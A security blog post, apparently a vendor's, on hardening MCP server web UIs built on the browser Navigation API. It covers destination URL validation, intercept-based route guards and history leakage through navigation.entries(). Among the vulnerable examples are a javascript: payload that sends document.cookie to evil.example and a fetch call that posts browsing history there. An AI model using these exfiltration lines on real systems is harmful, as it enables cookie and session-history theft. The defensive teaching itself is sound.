Blog · MCP Server Security

MCP server Navigation API security — navigate event interception, destination URL validation, and navigation timing information leak

The Navigation API (window.navigation) gives MCP server UIs a powerful single interception point for all same-document and same-origin navigations. That power cuts both ways: attacker-controlled tool output can inject destinations, bypass route guards, and silently read the session's full navigation history unless each path is explicitly hardened.

Navigation API vs History API: what MCP UIs need to know

The classic History API (history.pushState, popstate event) fires only for same-document navigations that you explicitly trigger. The Navigation API fires a navigate event for every navigation — user-initiated link clicks, form submissions, navigation.navigate() calls, and browser back/forward — covering both same-document and cross-document navigations on the same origin. This makes it the canonical place to enforce route-level authorization in a SPA-based MCP UI.

// Navigation API: one listener intercepts all navigations
window.navigation.addEventListener('navigate', (event) => {
  const destination = event.destination.url;
  console.log('Navigating to:', destination);
  // event.destination.url is available BEFORE the navigation occurs
  // event.intercept() cancels the default navigation and runs your handler
});

Scope difference matters: history.pushState fires popstate only on back/forward, not on programmatic pushes. The Navigation API fires navigate on all of them. An MCP UI that relied on popstate for route guards is silently unprotected for navigation.navigate(url) calls.

Destination URL injection from MCP tool output

A common MCP UI pattern passes tool-returned URLs directly to navigation.navigate(). If the tool output is attacker-controlled, every navigation primitive becomes an attack vector.

// VULNERABLE: MCP tool returns a redirectUrl the UI navigates to directly
async function handleToolResult(tool) {
  const result = await callMcpTool(tool.name, tool.args);
  // result.redirectUrl is attacker-controlled
  window.navigation.navigate(result.redirectUrl);  // open redirect
}

// Possible payloads in result.redirectUrl:
//   "javascript:fetch('https://evil.example/steal?d='+document.cookie)"
//   "data:text/html,"
//   "/admin/users"        // traversal to privileged SPA route
//   "https://phish.example/login"   // cross-origin redirect

javascript: URLs: Most browsers block javascript: navigations via the Navigation API, but browser coverage is inconsistent as of 2026. Do not rely on browser-level blocking — validate the destination explicitly.

The correct pattern is an allowlist check before any call to navigation.navigate() with external input:

const ALLOWED_ROUTES = new Set(['/dashboard', '/reports', '/profile', '/settings']);

function safeNavigate(url) {
  let parsed;
  try {
    // Resolve relative URLs against the current origin
    parsed = new URL(url, window.location.origin);
  } catch {
    throw new Error('Invalid URL from tool output');
  }
  // Reject cross-origin destinations entirely
  if (parsed.origin !== window.location.origin) {
    throw new Error('Cross-origin navigation blocked');
  }
  // Reject unlisted same-origin routes
  if (!ALLOWED_ROUTES.has(parsed.pathname)) {
    throw new Error(`Route not in allowlist: ${parsed.pathname}`);
  }
  window.navigation.navigate(parsed.pathname);
}

// In tool result handler:
safeNavigate(result.redirectUrl);  // throws on any unlisted destination

NavigateEvent.intercept() for SPA route guarding

NavigateEvent.intercept() replaces the deprecated transitionWhile() and is the correct hook for authorization checks in modern SPAs. The key property: if the async handler passed to intercept() throws, the navigation is aborted and the URL does not change. This makes throwing on unauthorized routes both safe and idiomatic.

window.navigation.addEventListener('navigate', (event) => {
  // Only intercept same-document navigations
  if (!event.canIntercept || event.hashChange || event.downloadRequest) return;

  event.intercept({
    handler: async () => {
      const destination = new URL(event.destination.url);

      // Authorization check BEFORE rendering anything
      const allowed = await checkRouteAuthorization(destination.pathname);
      if (!allowed) {
        // Throwing aborts the navigation — URL stays at current page
        throw new Error(`Unauthorized route: ${destination.pathname}`);
      }

      // Only reach here if authorized
      await renderRoute(destination.pathname);
    }
  });
});

Silent catch = silently bypassed guard: Wrapping the intercept handler in a try/catch and swallowing the error means the navigation is still aborted (good), but your error logging is lost and you cannot distinguish an unauthorized access attempt from a rendering failure. Re-throw authorization errors after logging.

The deprecated transitionWhile() method handled promise rejections differently — a rejected promise did not reliably abort the navigation in all Chrome versions, and the URL could update while the route's content was never rendered, leaving the SPA in a broken state. Any codebase that still uses transitionWhile() should migrate to intercept().

// DEPRECATED — do not use in new code
event.transitionWhile(
  renderRoute(event.destination.url)  // rejection may not abort navigation
);

// CORRECT — intercept() + throw aborts navigation reliably
event.intercept({
  handler: async () => {
    if (!authorized) throw new Error('blocked');
    await renderRoute(event.destination.url);
  }
});

navigation.entries() as a navigation history exfiltration vector

window.navigation.entries() returns an array of NavigationHistoryEntry objects for every same-document navigation that occurred in the current browsing session. Each entry exposes its full url string. For an MCP UI where different routes expose different data (admin panels, user profiles, report pages), this is a complete audit trail of the user's in-session activity.

// What an MCP tool running in the page context can read:
const history = window.navigation.entries();
const visitedRoutes = history.map(entry => entry.url);
// Example output:
// [
//   "https://app.example.com/dashboard",
//   "https://app.example.com/admin/users/4821",
//   "https://app.example.com/reports/financial-q1-2026",
//   "https://app.example.com/admin/settings/api-keys"
// ]
// Exfiltrate to attacker server:
fetch('https://evil.example/log', {
  method: 'POST',
  body: JSON.stringify({ history: visitedRoutes }),
  keepalive: true
});

Defense: Never render attacker-controlled MCP tool output in the same browsing context as the main application. Sandbox tool output in cross-origin <iframe> elements — tool content in a different origin cannot access the parent's window.navigation.entries().

Navigation API security patterns — comparison

Pattern Navigation API behavior Security risk Defense
navigate(tool.redirectUrl) without validation Navigates to any URL the tool returns, including data: and cross-origin URLs Open redirect, route injection, cross-origin navigation Validate URL against allowlist before calling navigate()
navigate() with origin + pathname allowlist Only same-origin, explicitly permitted routes can be destinations No injection risk from tool output This IS the defense — implement origin check + route allowlist
intercept() handler that throws on unauthorized route Navigation is aborted; URL does not update; page stays on current route No risk — unauthorized routes never render Ensure errors are re-thrown, not swallowed by inner try/catch
entries() accessible to tool output rendering context Full session URL history readable synchronously without permissions Navigation history exfiltration reveals visited admin/profile routes Sandbox tool output in cross-origin iframes
Cross-document navigation without CSP navigate-to Browser navigates to any same-origin URL on cross-document links MCP tool can trigger navigation to privileged pages outside SPA Add Content-Security-Policy: navigate-to 'self' + intercept handler

SkillAudit findings for the Navigation API

HIGH navigation.navigate(toolOutput.url) without URL validation — MCP tool return value passed directly to navigation.navigate(); attacker-controlled destination enables open redirect and same-origin route injection. Score: −18.
HIGH NavigateEvent.intercept() handler catches and swallows errors — authorization check throws but the catch block does not re-throw; route guard silently fails; unauthorized route may partially render before the catch executes. Score: −16.
MEDIUM navigation.entries() accessible to MCP tool output rendering context — tool-rendered content in the main browsing context can read the full session navigation history including URLs of admin panels and user-specific routes. Score: −12.
MEDIUM No allowlist for event.destination.url in navigate handler — navigate listener checks user authentication but not route authorization; cross-origin and unlisted same-origin destinations permitted for any authenticated user. Score: −10.
LOW Deprecated transitionWhile() in route guard — legacy Chrome navigation guard uses event.transitionWhile(promise) which does not reliably abort navigation on rejection in older Chrome versions; route guard may not execute when promise rejects. Score: −6.

Audit your MCP server for Navigation API security issues

SkillAudit detects unvalidated navigate() calls with tool output, swallowed intercept handler errors, accessible navigation.entries() in tool rendering contexts, and missing route allowlists. Free audit in 60 seconds.

Free audit →